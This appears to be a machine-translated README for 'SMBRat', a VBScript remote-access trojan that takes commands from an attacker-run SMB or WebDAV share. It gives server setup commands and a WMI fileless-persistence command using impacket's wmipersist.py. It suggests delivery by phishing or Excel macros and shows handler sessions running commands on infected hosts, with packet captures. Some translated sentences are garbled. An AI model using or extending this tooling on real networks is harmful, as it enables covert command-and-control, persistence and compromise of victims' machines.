Visual Basic 腳本中的 Windows 遠端管理工具
Active Directory網路等Windows 環境因SMB流量而變得非常臃腫。
所有主機都從SYSVOL取得策略,設定需要遠端檔案才能運作,桌面捷徑往往指向\somethingelseinthenetwork.exe
。
沒有人會注意到另一次連線嘗試。正確的?
- 特別是如果它成功了(僅監視防火牆拒絕是一種時尚)
該agent
是一個Visual Basic 腳本,在受感染的主機上執行並連接到SMB 伺服器。它在其中建立一個以主機的hostname
和主MAC
位址命名的目錄(為了報告目的,同時嘗試保持唯一性和資訊豐富性)。受感染主機的所有命令和資訊都將儲存在該目錄中。 zip
ping 整個共用資料夾將存檔所有項目資訊!
它不使用磁碟機號碼來掛載共用,僅使用UNC paths
直接讀取遠端檔案(在explorer.exe
中不建立磁碟機)。
它還將UNC path
注入到其自身執行環境的%PATH%
變數中(您可以直接從 Linux 電腦的檔案系統執行可執行檔)。
此agent
配置為運行一次。無國籍。
它的例程(或多或少)如下:
exec.dat
的文件cmd.exe /c <command>
將其作為命令執行,就像半交互式 shell一樣。output.dat
中(位於exec.dat
旁邊)。exec.dat
檔。 handler
需要SMB 伺服器才能運作。 Core Security 的impacket
套件中的smbserver.py
模組就可以了。
smbd
很可能也能做到這一點,但尚未經過測試。
需要名為D$
的共享,以看起來像合法的 Windows 主機的 SMB。
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies
[ * ] Config file parsed
[ * ] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[ * ] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[ * ] Config file parsed
[ * ] Config file parsed
[ * ] Config file parsed
由於agent
配置為僅使用 UNC 路徑,因此 WebDAV 也可以零更改地使用。可以使用WebDAV 伺服器取代 SMB 伺服器(支援 SSL 的優秀 WebDAV 伺服器是 wsgidav)。
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO : WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO : Lock manager: LockManager(LockStorageDict)
[...] INFO : Property manager: None
[...] INFO : Domain controller: SimpleDomainController ()
[...] INFO : Registered DAV providers by route:
[...] INFO : - ' /:dir_browser ' : FilesystemProvider for path ' /root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs ' (Read-Only) (anonymous)
[...] INFO : - ' / ' : FilesystemProvider for path ' /tmp/DAV ' (Read-Write) (anonymous)
[...] WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING : Share ' /:dir_browser ' will allow anonymous read access.
[...] WARNING : Share ' / ' will allow anonymous write access.
[...] INFO : Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO : Serving on http://0.0.0.0:80 ...
[...] INFO : 192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] " PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat " length=0, depth=0, elap=0.004sec - > 207 Multi-Status
對於 SSL 支持,UNC 路徑必須稍作更改,如下:
\<Server-IP>DIR
到:
\<Server-IP>@SSL@443DIR
此變更只能對ServerName
agent.vbs
變數進行,因為所有路徑都是由此建構的。請記住,運行agent
系統必須信任SSL 憑證。自簽名證書將會失敗並出現警告。
可以在agent.vbs
檔案的開頭新增一個While循環,並帶有多秒的延遲語句(理想情況是10秒),它將能夠透過雙擊/網路釣魚/ Excel宏/等來感染Windows主機...
VBS中延遲 1 秒的while True
循環如下所示:
Do While True
[ ... ]
WScript.Sleep 1000
Loop
然而,如果 Windows 主機啟用了RPC ,則可以透過WMI
將VBS檔案安裝為無檔案惡意軟體,並使用以下命令來安裝精彩的impacket
範例:
$ examples/wmipersist.py ' <username>:<password>@<hostname/ipaddress> ' install -vbs agent.vbs -name smbrat -timer 10
也可以透過本地存取利用WMI
工具將agent.vbs
安裝為無檔案惡意軟體。
Visual Basic 腳本可以很好地進行混淆、 base64處理以及縮小。
在“部署”之前先試一試真的很方便
在撰寫本文時,尚未實作因此,只需使用Handler
shell,watch
之類的命令來檢查output.dat
檔案即可完成使用:
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA : BB : CC : DD : EE : FF/output.dat
並echo
將內容寫入exec.dat
檔:
$ echo ' whoami /all ' > Share/projectName/DESKTOP-XXXXXXX-AA : BB : CC : DD : EE : FF/exec.dat
handler.py
實驗shell的工作原理如下:
$ python handler.py Share/
SMBRat >
# When a new host gets infected:
[+] Agent " DESKTOP-EG4OE7J " (00:0C:29:2B:9F:AF) just checked-in for Project: " projectName "
SMBRat > execall whoami /user
[ > ] Sending ' whoami /user ' to " projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF " ...
SMBRat >
[ < ] Response from ' projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ' :
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority s ystem S-1-5-18
^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat >
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
[...]
15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)
E...,E@[email protected].../.../....8
. & Mi~.6P.. > .......[.SMB........................
.@............ . ; ........... .net localgroup " administrators "
[...]
15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)
E...E.@......./.../..8..i~..
. ' *P....b.......SMB2......................
.F..z.....(...........z.D.........}...........p.r.o.j.e.c.t.N.a.m.e..D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F..o.u.t.p.u.t...d.a.t...
[...]
15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)
[email protected]../.../..8..i~.
.).P....*.....T.SMB........................
.T....$....... ' ..$.Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.
[...]
如果使用SMBv1 伺服器(例如impacket
的smbserver.py
),則流量(檔案內容和路徑)將以明文形式傳輸。
所有代理程式都可以修改儲存在Whole Share中的檔案。這意味著他們可以修改其他代理的exec.dat
... smbmap
將揭示:
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445 Name: Deskjet-4540
Disk Permissions
---- -----------
D$ READ, WRITE
[ ! ] Unable to remove test directory at \ 172.16.47.189 D $ S VNRmxBFAO, plreae remove manually
IPC$ READ, WRITE
[ ! ] Unable to remove test directory at \ 172.16.47.189 I PC$ S VNRmxBFAO, plreae remove manually
smbmap
缺少-u
和-p
參數。這是一個NULL 會話(如 FTP 匿名登入)。每個人都可以更改共享文件並在所有受感染的電腦上獲得遠端程式碼執行。
iptables
...鍵入execall netsh
,您就會遺失所有代理程式。沒有人會回應,因為agent.vbs
將產生netsh.exe
shell 並等待它終止,以便它可以將其內容寫入output.dat
。但你猜怎麼著...它不會終止...它會掛起, netsh>
指向空。